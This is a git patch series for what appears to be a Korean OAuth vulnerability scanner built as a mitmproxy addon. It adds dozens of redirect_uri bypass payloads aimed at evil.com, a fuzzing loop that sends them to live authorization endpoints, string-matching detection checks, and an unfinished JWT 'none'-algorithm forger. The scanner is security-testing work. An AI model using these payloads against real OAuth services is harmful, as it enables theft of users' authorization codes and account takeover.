parsed.path if parsed.path else "" - mutated = f"HtTpS://evil.com@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] mixed case scheme bypass: {original} → {mutated}") - return mutated - - # 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점) - def _mutate_pattern29(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https.://evil.com@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] scheme dot injection: {original} → {mutated}") - return mutated - - # 30. 포트 인코딩 우회 - %40 = @ - def _mutate_pattern30(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}:%40evil.com{path_part}" - print(f"[redirect_uri_check] port encoded: {original} → {mutated}") - return mutated - - # 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동 - def _mutate_pattern31(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc} &%40evil.com{path_part}" - print(f"[redirect_uri_check] ampersand encoded: {original} → {mutated}") - return mutated - - # 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인 - def _mutate_pattern32(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}.%5F.evil.com{path_part}" - print(f"[redirect_uri_check] underscore encoded: {original} → {mutated}") - return mutated - - # 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식 - def _mutate_pattern33(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}.%2C.evil.com{path_part}" - print(f"[redirect_uri_check] comma separator: {original} → {mutated}") - return mutated - - # 34. 스키마 없는 우회 - def _mutate_pattern34(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"//evil.com{path_part}" - print(f"[redirect_uri_check] schemeless: {original} → {mutated}") - return mutated - - # 35. 스키마 콜론 우회 - RFC 위반 파싱 - def _mutate_pattern35(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"http:evil.com{path_part}" - print(f"[redirect_uri_check] schema colon: {original} → {mutated}") - return mutated - - # 36. 널 바이트 prefix - 파싱 혼동 - def _mutate_pattern36(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"%00https://evil.com{path_part}" - print(f"[redirect_uri_check] null prefix: {original} → {mutated}") - return mutated - - # 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space - def _mutate_pattern37(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%E2%80%8B@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] unicode spaces: {original} → {mutated}") - return mutated - - # 38. 대괄호 인코딩 우회 - def _mutate_pattern38(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}%5B%40evil.com{path_part}" - print(f"[redirect_uri_check] bracket encoded: {original} → {mutated}") - return mutated - - '''aiohttp 세션 생성 (재사용)''' - async def _get_session(self): - if self.session is None: - timeout = aiohttp.ClientTimeout(total=10) - self.session = aiohttp.ClientSession(timeout=timeout) - return self.session - - '''세션 정리''' - async def close_session(self): - if self.session: - await self.session.close() - self.session = None - - """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ - async def _send_request(self, url, headers=None): - - # 레이트 리미팅 체크 추가 - pattern_name = "request" - can_proceed = await redirect_limiter.wait_if_needed("request") - if not can_proceed: - return {'status': 429, 'location': '', 'headers': {}} - - try: - session = await self._get_session() # 세션 준비 - request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 - - # 서버에 GET 요청 전송 - async with session.get(url, allow_redirects=False, headers=request_headers) as response: - result = { - 'status': response.status, - 'location': response.headers.get("Location", ""), - 'headers': dict(response.headers) - } - - # 성공/실패 기록 - if response.status in [200, 301, 302, 303, 307, 308]: - redirect_limiter.record_success() - else: - redirect_limiter.record_failure(f"HTTP {response.status}") - - return result - - except Exception as e: - redirect_limiter.record_failure(str(e)) - print(f"[ERROR] 요청 실패 ({url}): {e}") - return {'status': 500, 'location': '', 'headers': {}} - - """ redirect_uri가 기준 도메인에 속하는지 검증하고 우회 패턴 탐지 """ - def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: - try: - base_parsed = urlparse(base_url) - base_host = base_parsed.hostname - - if not base_host: - return False - - print(f"[DEBUG] 검증 시작 - redirect_uri: {redirect_uri}, base_host: {base_host}") - - # IDN 동형문자 체크 - if "еvil.example" in redirect_uri: # е는 키릴 문자 - print(f"[ALERT] IDN 동형문자 공격 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] IDN 동형문자 우회 공격: {redirect_uri}") - return False - - # IPv6 주소 체크 - if "[::1]" in redirect_uri or "[2001:db8" in redirect_uri: - print(f"[ALERT] IPv6 주소 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}") - return False - - # Fragment 체크 - if "#@" in redirect_uri: - print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}") - return False - - # %ff 바이트 체크 - if "%ff" in redirect_uri.lower(): - print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}") - if "%ff@" in redirect_uri or "%ff." in redirect_uri: - print(f"[CRITICAL] %ff 우회 공격: {redirect_uri}") - return False - - # 전각 문자 검증 (직접 + 인코딩 모두) - fullwidth_patterns = ["/", "\", "%EF%BC%8F", "%EF%BC%BC"] - for pattern in fullwidth_patterns: - if pattern in redirect_uri: - print(f"[ALERT] 전각 문자 우회 패턴 탐지 ({pattern}): {redirect_uri}") - print(f"[CRITICAL] 전각 문자 우회 공격 ({pattern}): {redirect_uri}") - return False - - # 와일드카드 서브도메인 우회 탐지 - if f"attacker.{base_host}" in redirect_uri: - print(f"[ALERT] 와일드카드 서브도메인 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 와일드카드 서브도메인 우회 공격: {redirect_uri}") - return False - - # 서브도메인 혼동 우회 탐지 (하이픈 패턴) - hyphen_host = base_host.replace('.', '-').replace(':', '-') - if f"{hyphen_host}.evil.com" in redirect_uri: - print(f"[ALERT] 서브도메인 혼동 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 서브도메인 혼동 우회 공격: {redirect_uri}") - return False - - # 대소문자 + IDN 조합 우회 탐지 - if "ЕVIL.example" in redirect_uri: # Е는 키릴 문자 (대문자) - print(f"[ALERT] 대소문자+IDN 조합 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 대소문자+IDN 조합 우회 공격: {redirect_uri}") - return False - - # 세미콜론 userinfo 탐지 - if f"{base_host};evil.com" in redirect_uri: - print(f"[ALERT] 세미콜론 userinfo 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 세미콜론 userinfo 우회 공격: {redirect_uri}") - return False - - # 제어 문자 우회 체크 (줄바꿈, 캐리지리턴, 탭, 수직탭, 폼피드, 공백) - control_chars = ["%0a", "%0d", "%09", "%0b", "%0c", "%20"] - for char in control_chars: - if f"{char}@" in redirect_uri: - print(f"[ALERT] 제어 문자 우회 패턴 탐지 ({char}): {redirect_uri}") - print(f"[CRITICAL] 제어 문자 우회 공격 ({char}): {redirect_uri}") - return False - - # 포트 인코딩 탐지 - if f"{base_host}:%40evil.com" in redirect_uri: - print(f"[ALERT] 포트 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 포트 인코딩 우회 공격: {redirect_uri}") - return False - - # 앰퍼샌드 인코딩 탐지 - if " &%40evil.com" in redirect_uri: - print(f"[ALERT] 앰퍼샌드 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 앰퍼샌드 인코딩 우회 공격: {redirect_uri}") - return False - - # 언더스코어 인코딩 탐지 - if f"{base_host}.%5F.evil.com" in redirect_uri: - print(f"[ALERT] 언더스코어 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 언더스코어 인코딩 우회 공격: {redirect_uri}") - return False - - # 콤마 분리자 탐지 - if f"{base_host}.%2C.evil.com" in redirect_uri: - print(f"[ALERT] 콤마 분리자 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 콤마 분리자 우회 공격: {redirect_uri}") - return False - - # 스키마 없는 우회 탐지 - if redirect_uri.startswith("//evil.com"): - print(f"[ALERT] 스키마 없는 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 없는 우회 공격: {redirect_uri}") - return False - - # 스키마 콜론 우회 탐지 - if redirect_uri.startswith("http:evil.com"): - print(f"[ALERT] 스키마 콜론 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 콜론 우회 공격: {redirect_uri}") - return False - - # 널 바이트 prefix 탐지 - if redirect_uri.startswith("%00"): - print(f"[ALERT] 널 바이트 prefix 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 널 바이트 prefix 우회 공격: {redirect_uri}") - return False - - # 유니코드 공백 문자 탐지 - unicode_spaces = ["%E2%80%8B", "%E2%81%A0", "%C2%AD"] - for space in unicode_spaces: - if space in redirect_uri: - print(f"[ALERT] 유니코드 공백 문자 우회 탐지 ({space}): {redirect_uri}") - print(f"[CRITICAL] 유니코드 공백 문자 우회 공격: {redirect_uri}") - return False - - # 대괄호 인코딩 탐지 - if f"{base_host}%5B%40evil.com" in redirect_uri: - print(f"[ALERT] 대괄호 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 대괄호 인코딩 우회 공격: {redirect_uri}") - return False - - # CRLF 인젝션 체크 - if "%0D%0A" in redirect_uri or "%0d%0a" in redirect_uri: - print(f"[ALERT] CRLF 인젝션 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] CRLF 인젝션 우회 공격: {redirect_uri}") - return False - - # 대소문자 혼합 스키마 체크 - if redirect_uri.startswith(("HtTpS://", "HtTp://", "hTtps://", "hTtp://")): - print(f"[ALERT] 대소문자 혼합 스키마 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 케이스 우회 공격: {redirect_uri}") - return False - - # 스키마 변조 체크 - if "https.://" in redirect_uri: - print(f"[ALERT] 스키마 점 삽입 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 점 삽입 우회 공격: {redirect_uri}") - return False - - # 복합 인코딩 패턴 체크 (혼합 제어 문자) - if "%09%0A%20" in redirect_uri or "%0A%0D%09" in redirect_uri: - print(f"[ALERT] 복합 인코딩 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 복합 인코딩 우회 공격: {redirect_uri}") - return False - - # 복합 우회 패턴 체크 (@ + 이중슬래시 + 경로순회 조합) - if "@" in redirect_uri and "//" in redirect_uri and "../" in redirect_uri: - print(f"[ALERT] 복합 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 복합 우회 공격 (@ + // + ../): {redirect_uri}") - return False - - # 경로 백슬래시 도메인 탐지 - if f"{base_host}\\.evil.com" in redirect_uri: - print(f"[ALERT] 경로 백슬래시 도메인 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 경로 백슬래시 도메인 우회 공격: {redirect_uri}") - return False - - # 경로 순회 패턴 체크 - if not self._check_path_traversal_patterns(redirect_uri): - return False - - # 쿼리 파라미터 우회 탐지 (question_mark 패턴) - if "?" in redirect_uri: - query_part = redirect_uri.split("?", 1)[1] - evil_indicators = ["evil.com", "attacker.com", "redirect=", "url=", "goto="] - for indicator in evil_indicators: - if indicator in query_part.lower(): - print(f"[ALERT] 쿼리 파라미터 우회 탐지 ({indicator}): {redirect_uri}") - print(f"[CRITICAL] 쿼리 파라미터 우회 공격: {redirect_uri}") - return False - - # @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지) - if "@" in redirect_uri: - # @ 앞의 부분이 실제 목적지 도메인 - at_parts = redirect_uri.split('@') - if len(at_parts) >= 2: - before_at = at_parts[0] - if '//' in before_at: - potential_domain = before_at.split('//')[-1] - if '.' in potential_domain and potential_domain != base_host: - print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}") - return False - - # 백슬래시 우회 체크 - if "\\" in redirect_uri: - print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 백슬래시 파싱 우회 공격: {redirect_uri}") - return False - - # 이중 슬래시 체크 (스키마 제외) - uri_without_scheme = redirect_uri.replace("https://", "").replace("http://", "") - if "//" in uri_without_scheme: - print(f"[ALERT] 이중 슬래시 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 이중 슬래시 우회 공격: {redirect_uri}") - return False - - # 물음표 우회 체크 - @ 패턴과 결합된 경우 - if "?" in redirect_uri and "@" in redirect_uri: - print(f"[ALERT] 물음표+@ 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 물음표 우회 공격: {redirect_uri}") - return False - - # 일반적인 도메인 검증 (@ 없는 경우) - if "@" not in redirect_uri: - redirect_parsed = urlparse(redirect_uri) - redirect_host = redirect_parsed.hostname - - if not redirect_host: - return False - - # 도메인 접미사 스푸핑 체크 - if redirect_host.endswith(".evil.com"): - print(f"[ALERT] 도메인 접미사 스푸핑 탐지: {redirect_host}") - print(f"[CRITICAL] 도메인 접미사 우회 공격: {redirect_host}") - return False - - # 정상적인 도메인 검증 - is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) - return is_valid - - # @ 패턴이 있는 경우, 추가 검증 - # @ 뒤의 도메인 확인 - at_parts = redirect_uri.split('@') - if len(at_parts) >= 2: - after_at = at_parts[-1] # 마지막 @ 뒤의 부분 - # URL에서 호스트 부분만 추출 - if '//' in after_at: - after_at = after_at.split('//')[0] - else: - after_at = after_at.split('/')[0] # 첫 번째 / 앞의 부분 - - after_at = after_at.split(':')[0] # 포트 제거 - - if after_at != base_host: - print(f"[CRITICAL] @ 패턴에서 잘못된 대상 도메인: {after_at} != {base_host}") - return False - - return True - - except Exception as e: - print(f"[ERROR] 도메인 검증 실패: {e}") - return False - - """ 경로 순회 패턴 탐지 """ - def _check_path_traversal_patterns(self, redirect_uri: str) -> bool: - - path_traversal_patterns = [ - "/../", # 기본 경로 순회 - "/.././", # 혼합 슬래시 - "/..;/", # 세미콜론 패턴 - "%2e%2e%2f", # URL 인코딩된 ../ - "%2e%2e/", # URL 인코딩된 .. + 일반 슬래시 - "/%2e%2e/", # 슬래시 + 인코딩된 ../ - "%252e%252e", # 이중 인코딩된 .. - "%c0%ae", # 오버롱 UTF-8 - "\\..\\", # 백슬래시 패턴 - "../", # 유니코드 점 - "../%00", # 널 바이트 조합 - "%00../", # 널 바이트 전치 - ] - - for pattern in path_traversal_patterns: - if pattern in redirect_uri.lower(): - print(f"[ALERT] 경로 순회 패턴 탐지 ({pattern}): {redirect_uri}") - print(f"[CRITICAL] 경로 순회 우회 공격 ({pattern}): {redirect_uri}") - return False - - return True - - """ Location 헤더에서 authorization code 추출 """ - def _extract_code_from_location(self, location: str) -> str: - if not location: - return "" - - try: - parsed = urlparse(location) - query = parse_qs(parsed.query) - return query.get('code', [''])[0] - except: - return "" - - def _is_code_in_location(self, location: str) -> bool: - return self._extract_code_from_location(location) != "" - - """ mitmproxy용 - 실제 OAuth 플로우 가로채서 분석 """ - async def test(self, flow: http.HTTPFlow): - url = flow.request.pretty_url - parsed = urlparse(url) - query = parse_qs(parsed.query) - - # location 헤더에 code가 없으면 스킵 - # TODO: 우리가 탐지하는 IdP가 제한적이기 때문에 각 IdP의 uri 패턴을 탐지하는 것도 좋아보임 - # Loaction 헤더에 담긴 인가 코드 뿐만 아니라, script나 다른 방식으로도 인가 코드가 전달될 수 있음 - location = flow.response.headers.get("Location", "") - if not self._is_code_in_location(location): - return - - if not query or "redirect_uri" not in query: - return - - original_redirect_uri = query["redirect_uri"][0] - - redirect_limiter.reset_for_new_target() - - print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}") - - print(f"[DEBUG] 총 패턴 수: {len(self.bypass_payloads)}") - print("[DEBUG] 패턴 목록:") - for i, payload in enumerate(self.bypass_payloads): - print(f" {i+1:2d}. {payload.name}") - print("-" * 50) - - tested_count = 0 # 테스트된 패턴 카운터 추가 - - for payload in self.bypass_payloads: - try: - await self._test_bypass_pattern( - url, query, parsed, original_redirect_uri, payload, headers={} - ) - except Exception as e: - print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}") - continue - - """ 개별 우회 패턴 테스트 """ - async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers): - - print(f"[SCAN] 우회 패턴 테스트: {payload.name}") - - # 우회 URL 생성 - bypassed_uri = payload.mutate(original_redirect_uri) - - # 새로운 쿼리 파라미터 구성 - modified_query = query.copy() - modified_query["redirect_uri"] = [bypassed_uri] - new_query_string = urlencode(modified_query, doseq=True) - test_url = urlunparse(parsed_url._replace(query=new_query_string)) - - # 요청 전송 - response = await self._send_request(test_url, headers) - - # 응답 분석 - await self._analyze_response(original_url, test_url, bypassed_uri, response, payload) - - """ 응답 분석 및 취약점 판단 """ - async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload): - status = response['status'] - location = response['location'] - - # 리다이렉트 응답이 아니면 스킵 - if status not in [301, 302, 303, 307, 308]: - return False - - # 베이스라인 검증 - is_valid = self._is_baseline_valid(bypassed_uri, original_url) - - if self._is_code_in_location(location) and not is_valid: - # 취약점 발견 시에만 로그 - auth_code = self._extract_code_from_location(location) - print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") - await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) - return True - - return False - - """ 취약점 보고서 생성 """ - async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload): - # payload가 문자열인지 객체인지 확인 - if hasattr(payload, 'name'): - pattern_name = payload.name - pattern_description = payload.description - else: - pattern_name = str(payload) - pattern_description = "Unknown bypass pattern" - - description = ( - f"Redirect URI 우회 취약점 발견!\n\n" - f"-- 상세 정보 --:\n" - f"• 우회 패턴: {pattern_name}\n" - f"• 설명: {pattern_description}\n" - f"• 원본 URL: {original_url}\n" - f"• 우회된 redirect_uri: {bypassed_uri}\n" - f"• 테스트 URL: {test_url}\n" - f"• 리다이렉트 위치: {location}\n" - f"• 발급된 인가 코드: {auth_code[:10]}...\n\n" - ) - - report_vuln( - title="Redirect URI Bypass Vulnerability", - desc=description, - status="CRITICAL", - uri=test_url - ) - - print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!") - print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}") \ No newline at end of file From 8ef13de4417628052956e4caabb2280438d9c5a0 Mon Sep 17 00:00:00 2001 From: KMINGON Date: Wed, 16 Jul 2025 21:03:35 +0900 Subject: [PATCH 51/56] =?UTF-8?q?[REFACTOR]:=20Access=20TOken=20=ED=83=90?= =?UTF-8?q?=EC=A7=80=20=EC=A1=B0=EA=B1=B4=20=EC=99=84=ED=99=94?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .env | 2 +- addon/access_token.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.env b/.env index 794cacd..ecef8e7 100644 --- a/.env +++ b/.env @@ -1,2 +1,2 @@ # Google OAuth 설정 -GOOGLE_ID=oauth.j93es@gmail.com +GOOGLE_ID=whs.imnya.ng@gmail.com diff --git a/addon/access_token.py b/addon/access_token.py index ceac509..749ee0d 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -135,7 +135,7 @@ class AccessTokenScanner: query_params = parse_qs(parsed_url.query) # 필요한 파라미터들이 모두 존재하는지 확인 - required_params = ['client_id', 'redirect_uri', 'response_type'] + required_params = ['redirect_uri', 'response_type'] for param in required_params: if param not in query_params: @@ -145,7 +145,7 @@ class AccessTokenScanner: response_type_values = query_params.get('response_type', []) # response_type 파라미터가 존재하고 값 중에 'token'이 있는지 확인 - return 'token' in response_type_values + return 'token' in response_type_values or 'id_token' in response_type_values except Exception: return False \ No newline at end of file From 182ea2117814d47b751f2efb5b03877d6fcadc12 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Thu, 17 Jul 2025 12:11:03 +0900 Subject: [PATCH 52/56] =?UTF-8?q?open=20redirect=20=ED=83=90=EC=A7=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/open_redirect_check.py | 864 +++++++++++++++++++++++------------ 1 file changed, 578 insertions(+), 286 deletions(-) diff --git a/addon/open_redirect_check.py b/addon/open_redirect_check.py index 9ea39cb..94f20f0 100644 --- a/addon/open_redirect_check.py +++ b/addon/open_redirect_check.py @@ -7,7 +7,7 @@ from urllib.parse import urlparse, parse_qs, urlencode, urlunparse from lib.report_vuln import report_vuln class RedirectRateLimiter: - """클라이언트 앱 Open Redirect 체크 전용 rate limiter""" + """OAuth Open Redirect 체크 전용 rate limiter""" def __init__(self): self.last_request = 0 self.request_count = 0 @@ -15,9 +15,10 @@ class RedirectRateLimiter: self.consecutive_failures = 0 self.blocked_until = 0 self.pattern_index = 0 # 현재 테스트 중인 패턴 번호 + self.should_abandon_target = False # 설정값 (전체 패턴 기준으로 최적화) - self.base_delay = 1.0 # 기본 1초 지연 (65개니까 빠르게) + self.base_delay = 2.0 # 기본 2초 지연 self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 self.max_delay = 5.0 # 최대 5초 지연 self.block_duration = 300 # 5분 차단 @@ -31,29 +32,21 @@ class RedirectRateLimiter: self.consecutive_failures = 0 self.blocked_until = 0 self.pattern_index = 0 + self.should_abandon_target = False print("[RATE_LIMIT] 새로운 타겟을 위해 Rate Limiter 리셋됨") async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: """속도 조절 및 차단 대기""" current_time = time.time() + + if self.should_abandon_target: + print(f"[TARGET_ABANDON] ⏹️ 타겟 포기됨 - 테스트 중단") + return False # 차단 중인지 확인 if current_time < self.blocked_until: remaining = int(self.blocked_until - current_time) - - # 차단 이유 판단 - if remaining > 200: # 5분에 가까우면 강한 차단 - print(f"\n🛡️ 타겟 사이트의 보안 메커니즘이 감지됨!") - block_reason = "Security Block" - elif remaining > 100: # 2-3분이면 일시적 문제 - print(f"\n⚠️ 타겟 서버 일시적 문제!") - block_reason = "Server Issue" - else: # 짧으면 가벼운 제한 - print(f"\n🔒 타겟 사이트 접근 제한!") - block_reason = "Access Limit" - - print(f"⏰ {remaining}초 대기 후 {pattern_name} 패턴 퍼징 재개... (이유: {block_reason})") - + # 카운트다운 (10초 단위) for i in range(remaining, 0, -1): if i % 10 == 0 or i <= 10: @@ -80,9 +73,8 @@ class RedirectRateLimiter: self.request_count += 1 self.pattern_index += 1 - # 진행률 표시 if self.pattern_index % 5 == 0: - print(f"[FUZZER] 📊 {self.pattern_index}/65 우회 패턴 테스트 완료 ({(self.pattern_index/65)*100:.1f}%)") + print(f"[PROGRESS] 📊 {self.pattern_index}/71 패턴 테스트 완료 ({(self.pattern_index/71)*100:.1f}%)") return True @@ -120,6 +112,12 @@ class RedirectRateLimiter: self.failure_count += 1 self.consecutive_failures += 1 + # 연속 5회 실패시 타겟 포기 + if self.consecutive_failures >= 5: + self.should_abandon_target = True # ← 포기 플래그 설정 + print(f"[TARGET_ABANDON] 🚫 연속 실패 {self.consecutive_failures}회 - 타겟 포기") + return + # 웹사이트 방어 메커니즘 감지 패턴들 rate_limit_patterns = [ '429', # Too Many Requests @@ -136,59 +134,23 @@ class RedirectRateLimiter: 'captcha', 'recaptcha', 'bot detected', 'suspicious activity' ] - - # 일시적 서버 문제 - temporary_patterns = [ - '503', 'service unavailable', - 'server overloaded', 'temporarily unavailable', - 'maintenance', 'under maintenance' - ] - + error_lower = str(error_msg).lower() - # 1. Rate Limit 감지 if any(pattern in error_lower for pattern in rate_limit_patterns): self.blocked_until = time.time() + self.block_duration print(f"[RATE_LIMIT] 🚫 웹사이트 Rate Limit 감지 - {self.block_duration}초 대기 예정") - print(f"[INFO] 💡 타겟 사이트가 요청 빈도를 제한하고 있습니다: {error_msg}") return - # 2. 보안 솔루션 차단 elif any(pattern in error_lower for pattern in security_block_patterns): self.blocked_until = time.time() + self.block_duration print(f"[SECURITY_BLOCK] 🛡️ 웹방화벽/보안 솔루션 차단 - {self.block_duration}초 대기 예정") - print(f"[INFO] 💡 Cloudflare, WAF 등이 요청을 차단했습니다: {error_msg}") - return - - # 3. 일시적 서버 문제 - elif any(pattern in error_lower for pattern in temporary_patterns): - short_wait = min(self.block_duration // 2, 150) - self.blocked_until = time.time() + short_wait - print(f"[SERVER_ISSUE] ⚠️ 서버 일시적 문제 - {short_wait}초 대기") - print(f"[INFO] 💡 타겟 서버에 일시적 문제가 있습니다: {error_msg}") return - # 4. 일반적인 HTTP 에러는 차단하지 않음 - else: - client_errors = ['400', '401', '404', 'bad request', 'unauthorized', 'not found'] - if any(code in error_lower for code in client_errors): - print(f"[HTTP_ERROR] ⚠️ HTTP 클라이언트 에러 (퍼징 계속): {error_msg}") - return - - # 403만 특별 처리 (웹방화벽일 가능성) - if '403' in error_lower: - short_wait = 60 - self.blocked_until = time.time() + short_wait - print(f"[ACCESS_DENIED] 🔒 접근 거부 - {short_wait}초 대기") - print(f"[INFO] 💡 타겟 사이트가 접근을 거부했습니다: {error_msg}") - return - - # 5. 연속 실패 임계값 - if self.consecutive_failures >= 15: + if self.consecutive_failures >= 5: short_wait = 120 self.blocked_until = time.time() + short_wait print(f"[FUZZER_PAUSE] ⏸️ 연속 실패 {self.consecutive_failures}회 - {short_wait}초 대기") - print(f"[INFO] 💡 타겟 사이트가 모든 우회 패턴을 차단하고 있을 수 있습니다.") # 글로벌 레이트 리미터 redirect_limiter = RedirectRateLimiter() @@ -200,12 +162,15 @@ class BypassPayload: self.mutate = mutate_func #우회 url 만드는 함수 self.description = description - class OpenRedirectChecker: def __init__(self): self.testing_targets = set() # 현재 테스트 중인 타겟들 - - """ 우회 페이로드 목록 """ + self.tested_endpoints = set() # 이미 테스트 완료된 엔드포인트들 + self.session = None + self._initialize_bypass_payloads() # bypass_payloads를 __init__에서 초기화 + + """ 우회 페이로드 목록 """ + def _initialize_bypass_payloads(self): self.bypass_payloads = [ BypassPayload( name=r"@", @@ -213,6 +178,42 @@ class OpenRedirectChecker: description=r"Host bypass attack using @ symbol: evil.com@target.com" ), + BypassPayload( + name="jwt_none_algorithm", + mutate_func=self._mutate_pattern47, + description="JWT state parameter 'none' algorithm bypass" + ), + + BypassPayload( + name="state_parameter_pollution", + mutate_func=self._mutate_pattern49, + description="Multiple state parameters pollution attack" + ), + + BypassPayload( + name=r"backslash_bypass", + mutate_func=self._mutate_pattern9, + description=r"Backslash URL parsing bypass: target.com\\evil.com" + ), + + BypassPayload( + name=r"double_slash", + mutate_func=self._mutate_pattern10, + description=r"Double slash bypass: target.com//evil.com" + ), + + BypassPayload( + name=r"wildcard_subdomain_bypass", + mutate_func=self._mutate_pattern8, + description=r"Wildcard subdomain bypass: attacker.target.com" + ), + + BypassPayload( + name=r"question_mark", + mutate_func=self._mutate_pattern11, + description=r"Question mark bypass: target.com?evil.com" + ), + BypassPayload( name=r"%ff@", mutate_func=self._mutate_pattern2, @@ -321,30 +322,6 @@ class OpenRedirectChecker: mutate_func=self._mutate_pattern7_12, description=r"Null byte traversal: target.com/path/../%00../evil.com" ), - - BypassPayload( - name=r"wildcard_subdomain_bypass", - mutate_func=self._mutate_pattern8, - description=r"Wildcard subdomain bypass: attacker.target.com" - ), - - BypassPayload( - name=r"backslash_bypass", - mutate_func=self._mutate_pattern9, - description=r"Backslash URL parsing bypass: target.com\\evil.com" - ), - - BypassPayload( - name=r"double_slash", - mutate_func=self._mutate_pattern10, - description=r"Double slash bypass: target.com//evil.com" - ), - - BypassPayload( - name=r"question_mark", - mutate_func=self._mutate_pattern11, - description=r"Question mark bypass: target.com?evil.com" - ), BypassPayload( name=r"idn_homograph", @@ -585,9 +562,31 @@ class OpenRedirectChecker: mutate_func=self._mutate_pattern46, description=r"Question backslash combo: target.com?\\evil.com" ), - + + BypassPayload( + name="jwt_empty_signature", + mutate_func=self._mutate_pattern48, + description="JWT state parameter empty signature bypass" + ), + + BypassPayload( + name="state_case_insensitive", + mutate_func=self._mutate_pattern50, + description="State parameter case insensitive bypass: State, STATE, state" + ), + + BypassPayload( + name="jwt_header_manipulation", + mutate_func=self._mutate_pattern51, + description="JWT header manipulation bypass (typ, alg changes)" + ), + + BypassPayload( + name="jwt_payload_pollution", + mutate_func=self._mutate_pattern52, + description="JWT payload pollution with malicious claims" + ), ] - self.session = None """ 우회 URL 생성 목록 """ # 1. @ @@ -913,6 +912,137 @@ class OpenRedirectChecker: # 46. 물음표 + 백슬래시 조합 def _mutate_pattern46(self, original: str) -> str: return f"https://{original}?\\evil.com" + + # 47. JWT 'none' 알고리즘 우회 + def _mutate_pattern47(self, original: str) -> str: + import base64 + import json + + # 'none' 알고리즘으로 서명 없는 JWT 생성 + header = {"alg": "none", "typ": "JWT"} + payload = { + "redirect": "https://evil.com", + "iss": "evil.com", + "aud": "client_app", + "exp": 9999999999 + } + + header_b64 = base64.urlsafe_b64encode( + json.dumps(header, separators=(',', ':')).encode() + ).decode().rstrip('=') + + payload_b64 = base64.urlsafe_b64encode( + json.dumps(payload, separators=(',', ':')).encode() + ).decode().rstrip('=') + + # 서명 부분을 빈 문자열로 (none 알고리즘) + malicious_jwt = f"{header_b64}.{payload_b64}." + + parsed = urlparse(original) + return 